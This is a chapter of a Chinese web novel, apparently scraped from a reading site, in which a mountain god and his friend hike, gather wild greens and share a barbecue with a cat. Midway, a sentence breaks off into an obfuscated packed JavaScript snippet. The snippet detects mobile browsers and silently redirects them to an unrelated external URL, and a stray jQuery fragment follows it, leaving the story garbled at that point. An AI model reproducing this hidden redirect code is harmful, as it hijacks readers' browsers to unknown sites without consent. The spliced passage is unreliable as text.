应空图约早上七点爬山,实际闻重山六点半就站到了应空图家门口。
他习惯提前一点赴约。
应空图作为山神,听力比一般人类强得多。
他听到门外的脚步声,过去开门,门外果然站着闻重山。
此时天还没完全亮起来,天边飘着火红的云霞,大部分天空则呈一种暗淡的紫灰。
即使如此,穿着户外服的闻重山站在应空图家的院门前,还是让人眼前一亮。
“早。”闻重山说。
“早。”应空图让开门边,示意他进来,“你吃早餐了吗?”
“我是不是来太早了?”闻重山跟在应空图身后,闻到屋子里的香味,抱歉道,“你先吃,不用管我,不用管我。”
应空图摇头:“我也吃了,正在做要带到山上吃的饭团。我们要爬的山比较高,中午估计回不来。你要是没吃早餐,可以先吃两个。”
闻重山笑:“吃了。”
应空图带着闻重山走进厨房,给他看正在做的饭团。
这个厨房今年加盖的,厨房的窗户很大,收拾得很整洁,除了靠墙的柴火灶外,橱柜边上还放着一张木桌子。
下雨的时候,他就会在厨房吃饭。
此时窗户大开,山风徐来。
木桌上放着个大盆,盆里是新煮好的,清香油润的糯米饭,饭盆边上则一溜摆开了大碗,里面装着肉丁、腊肠丁、榨菜碎、酸菜碎、蒜头油、土豆丝等物。
闻重山的视线落在上面,有点挪不开。
应空图看他这样,给了他一个饭团:“尝尝。仿照外面的小摊贩做的,不过没那么油。”
闻重山:“我想不到你居然还会做这些。”
应空图眼里露出淡淡的笑意:“闲着没事的时候会琢磨一下。”
他活太长时间了,什么都会一点,有时候琢磨美食也挺有意思。
应空图拿起一个用油纸包着的饭团递给闻重山:“看有没有不喜欢的小菜,要是有,等会我就不放。”
闻重山接过饭团咬了一口。
应空图自己做的饭团,馅料放得非常足,闻重山一口就咬到了丰富的馅料。
霎时,米饭的清甜,肉丁和腊肠丁的香浓,榨菜碎的爽脆,酸菜碎的酸香,还有油辣椒的香辣等,齐齐在舌尖上爆开,香味和口感层层递进,非常好吃。
闻重山不由目露惊艳。
应空图问:“怎么样?”
“非常好吃,我喜欢这个饭团。”闻重山又咬了一大口,“比外面卖的好吃多了。”
应空图愉快道:“好,我们中午就吃这个,再带几根黄瓜解渴。”
两人很快就收拾好东西,准备上山了。
应空图在前面带路。
他对山林很熟,哪怕在荒山中,也能找到相对平坦好走的路。
长川县在山里,周围全是山,重峦叠嶂。
他们要爬跳珠山,得从屋后的矮山开始爬,翻过两座山,才能到跳珠山。
应空图作为山神,拿到山林后,神力稍微恢复了一点,体力比一般人类强得多。
闻重山的体力竟然也非常不错。
他们一连翻过了两座山,从山脚爬到山顶,又从矮山的山顶爬到更高的山的山顶,一口气爬升了将近两千米,花了三个多小时,闻重山居然没怎么喘。
应空图一路观察他,打算等他体力不行,就提出休息,然而愣是没找着机会。
应空图看着闻重山:“你体力可以啊。”
闻重山撑着登山杖笑了笑:“以前训练过,比不上你,你连登山杖都不用。”
“习惯了。我们往那边走。”应空图指了个方向,“那边有个小瀑布,边上就有鹿耳韭。”
小瀑布是山上的野瀑布,主要由高山冰雪融水组成。
现在还不是冰雪融水的高峰期,瀑布不大,然而一走近,就能感觉到冰凉的水汽扑面而来。
他们爬了这么久的山,早爬热了。
水汽扑在脸上,冰冰凉凉,清清爽爽,非常舒服。
闻重山微微闭眼。
应空图头也不回:“想洗手洗脸可以洗一下,不能喝,冰雪融水不安全。”
闻重山:“好。”
他们爬山的时候看到有人在山上放羊,就算没有羊,山上也有野生动物,水源确实达不到入口的标准。
不过,洗把脸还是可以的。
闻重山找了个合适的地方,放下登山杖,开始洗手洗脸。
应空图并没有停下,而是继续往边上走。
闻重山洗完脸才发现他走到了瀑布旁,一个小石堆边上。
不,不是石堆。
闻重山辨认片刻,发现那是一座石头砌成的小小神龛。
神龛内部还有块小小的无字石碑。
应空图清理神龛边上的杂草,先擦干净石头,又将有些散乱的石块摆放整齐。
闻重山有点意外地看着他的背影。
应空图却没有解释的意思。
整理好神龛,应空图回头看站在瀑布边上的闻重山,说道:“往这边走。”
“来了。”闻重山用衣袖抹去下巴上的水迹,快步跟上应空图的脚步。
应空图回头看他。
闻重山的睫毛非常长且浓密,沾湿后更明显,配合着深刻立体的俊美五官,跟一般人类不太一样。
应空图转过头,露出若有所思的表情。
很快,应空图带着闻重山来到一片平地上。
平地上密密麻麻地长着叶片挺大的野草,椭圆形的,跟闻重山想象中的某种韭菜不一样。
闻重山盯着野菜问:“这就是鹿耳韭?它看起来跟韭菜完全不一样。”
“它的学名叫卵叶韭,看起来不一样,闻起来味道差不多。”应空图示意他蹲下,采了一片给他,“现在是不是就有韭菜的感觉了?”
鹿耳韭断茬处的汁液渗出来,闻重山低头闻了闻:“还真是,不过味道比较柔和。”
应空图:“它吃起来要清甜一些,像葱蒜,没那么冲。”
闻重山采了一片。
鹿耳韭的特征非常明显,叶片卵圆,茎秆带一点鲜红,哪怕他这种新手也不可能认错。
闻重山:“我昨天晚上查了一下,这片鹿耳韭跟网上查到的鹿耳韭,茎秆好像不太一样?”
“鹿耳韭也分几种。这种是附近所有鹿耳韭中最好吃的一种。”
“原来是这样。”
应空图教他:“这样间隔着采,采叶片肥厚,大小适中的。”
附近全是鲜嫩水灵的鹿耳韭。
两人蹲着采,一会儿就采到了大半筐。
闻重山学着应空图的样子,将鹿耳韭叠起来,再用草茎捆起来,再整整齐齐地放入背筐中。
“好像够了。”闻重山看着背筐,“再采会不会吃不完?”
“没关系,可以腌成泡菜。”
应空图回头朝闻重山说道:“鹿耳韭腌成的泡菜酸香脆嫩,加上辣椒,酸辣中会带有一点清甜,和其他泡菜不同,味道非常独特。”
应空图带着闻重山在山上穿梭。
在采鹿耳韭的时候,应空图很快又发现了另外一种野菜,示意闻重山过去。
这野菜才刚冒出来,一根杆子长着好些锯齿状的叶片,颜色暗绿中带一点紫红,看起来不像闻重山见过的任何蔬菜。
“这是什么菜?”闻重山捏捏菜叶子,摸到了一点绒毛,“这菜好像有点粗糙?”
“雪芽菜。”应空图答道,“也叫紫花碎米荠。”
闻重山想了起来:“刚刚我们上山的时候,是不是也在水沟旁看到过类似的野菜?是同一种吗?还是只是长得像。”
应空图:“同属不同种,那也是碎米荠。碎米荠有很多种,这种紫花碎米荠最好吃,没什么苦涩味,其他的碎米荠比较苦涩,一般人吃不惯。”
“听起来好厉害。”
“上山多了,你也能认。”应空图拿小刀贴着雪芽菜的根部切了两根下来,给闻重山看,“一棵切一两根就行,留着根它还会接着长。”
闻重山采野菜的经验远没应空图丰富,此时毫不犹豫地跟着他做。
两人采到雪芽菜也捆起来,整整齐齐地放到背筐里。
沿着山坡横着走,两人采了两小时,背筐就装满了。
他们吃完了带的饭团,喝空了带的水,把垃圾装好一起背上,就下山了。
应空图家在半山腰,闻重山家在山脚。
因此,两人先回应空图家。
山上湿滑,鹿耳韭和雪芽菜生长的地方都很潮湿,两人的鞋子和裤子都沾上了泥土,有点脏,穿着并不舒服。
应空图自己洗漱干净,换了柔软的家居服,还借了一套给闻重山:“我最近刚买的,洗过水,没穿过,你试试。”
闻重山也不跟他客气:“谢谢。”
应空图去年十一月才从沉睡中苏醒,醒来后什么都要买。
好处就是,新衣服也多,现在还有多余的家居服借给别人。
闻重山也洗漱了出来,发现院子里多了一位小小的客人。
——来的正是他家的猫飞镖。
闻重山走过去,蹲下来看卧在水泥地上晒太阳的猫,隔空点了点它的鼻头:“你的消息怎么那么灵通?我们一回来就知道了。”
飞镖不理他,只用毛茸茸的长尾巴砸了砸地。
“喝茶吗?”应空图的声音从后面传来。
闻重山立即站起来:“喝,什么茶?”
“咸金桔蜂蜜柚子茶。”
这茶应空图出门的时候就泡上了,里面放了从他山里割取的野蜂蜜、自制的柚子果酱、亲自晾晒出来的陈皮和院子里现摘的薄荷叶,一直放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326254|183241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在冰箱里。
现在拿出来,在里面加上大量的冰块,一壶冰冰凉凉甜甜的果茶就做出来了。
闻重山过去倒茶。
刚从消毒柜里拿出来的剔透玻璃杯,橘黄的果茶倒进去,冰块撞着杯壁,发出“当啷”的好轻响。
闻重山握着玻璃杯喝了一口,迎面吹着山风,轻轻喟叹一声。
今天下午吃烤肉。
应空图昨晚就腌制上了,现在从冰箱里拿出来,入味得刚刚好。
闻重山把刚刚采摘到的鹿耳韭洗出来,放到一边。
应空图那边也将雪芽菜焯过水拌好了。
两人把菜都端到走廊的木桌子上。
应空图先预热电烤盘,刷上油,先烤原切深海鱼块和洗去调料的牛肉。
烤盘里的肉渐渐散发出香气,睡在夕阳下的飞镖醒了,慢慢走到应空图脚边。
越走近应空图,食物的香气越浓烈。
飞镖夹着嗓子叫了起来:“喵。”
它绕着应空图的腿来回走,毛茸茸的柔软身体拼命蹭着应空图的腿:“喵——喵——”
猫耳朵在腿上压扁又弹起来,来回好几次。
应空图听着它谄媚的叫声,并没有伸手摸它,而是用夹子夹了一块烤盘上的鱼肉,放在干净的瓷碟上晾着。
飞镖久久得不到回应,仰头看着饭桌,轻轻一跳,后腿撑着地,用前爪扒着桌子往烤盘上看:“喵。”
闻重山虚虚一弹它的鼻子:“你倒会卖乖,下去。”
飞镖落到地上,粗声粗气地:“喵!”
应空图笑了一下,将微微晾凉的鱼肉拆解下来,放到小碟子上,又把小碟子放到桌下。
飞镖迫不及待地探头过来,鼻头动了动,飞快开吃。
闻重山将人吃的肉放到烤盘上烤。
牛肉熟得很快,稍微一烤就好了。
闻重山用夹子夹出来,放了一半到应空图碟子上,另外一半放到自己碟子上。
经过腌制的牛肉鲜嫩多汁,鹿耳韭脆嫩清香,二者搭在一起,香味互相促进,非常美味。
闻重山一连吃了好几块,还是第一次吃到这样的野菜。
“真的好香,跟葱蒜韭都不一样,又有类似的香味。”闻重山夹着牛肉和鹿耳韭,感觉颇为神奇,“味道好复杂,又好鲜。”
“要不怎么说是山珍?”应空图将凉拌好的雪芽菜往他那边推了推,“你尝尝雪芽菜,看能不能吃惯。”
闻重山夹了一筷子。
雪芽菜焯过水,还是带有一点苦味,不过和陈醋、辣椒油等拌在一起,苦味过后是山野菜的清爽野趣,吃下去后,有种吃到了春天的感觉。
闻重山眼里露出惊叹的神色。
应空图看出他喜欢了,笑着说道:“喜欢就多吃点,吃不完等会只能倒掉了。”
闻重山:“你也加油吃。”
两人坐在桌前,安静地享受着美食。
烤盘上的排骨也渐渐烤好了,散发出了诱人的香气,油脂冒出来,给肉描上了焦褐色的边。
鹿耳韭配排骨也非常好吃,排骨的油脂更丰富,鹿耳韭增香解腻,哪怕一直吃,也不会觉得肥腻。
人在桌上吃饭,猫在地上吃饭。
风微微吹过,桌下的猫喉咙里发出呼噜呼噜的声音。
闻重山很少感觉到悠闲,今天着实感觉到了。
吃过饭,抢着洗完烤盘和盆碗,天色有点晚了,按理来说,闻重山该带着猫回去了。
他还是没开口告辞,而是帮忙择今天采摘到的鹿耳韭和雪芽菜。
应空图:“你真不带点回去?”
闻重山摇摇头:“我不太擅长做这些,家里连泡菜坛子都没有。不是说发酵不好的酸菜有点危险?我还是不试了。”
“那等我做好了,分你两瓶。”应空图拿小刀切去雪芽菜的老茎,“雪芽菜做的盐菜也很好吃,跟别的盐菜都不太一样,等做好了,你尝尝就知道了。”
“盐菜能拿来做什么?”
“加点蒜末和青红辣椒清炒?或者做扣肉?做盐菜炒饭?做什么都行,都挺好吃。”
“那到时候得问你要个菜谱?”
闻重山是应空图苏醒后交到的第二个朋友,却是第一个没有利益关系的朋友。
听到他这么说,应空图一口答应下来:“行啊,你要是不会做,到时来我家吃饭也行。”
两人坐在屋檐下择菜。
长毛橘狸卧在不远处,枕着自己的爪子睡着了,肚皮一鼓一鼓的。
时不时,它还会扇耳朵,驱赶小飞虫。
两人为了不吵醒猫,压低了说话的声音,这么在春天的夜幕下,随意地聊着天,反倒有种岁月静好的感觉。
应空图自己都没注意到,他的脸上一直泛着笑意。
那是重新融入了这个时代的安逸笑容。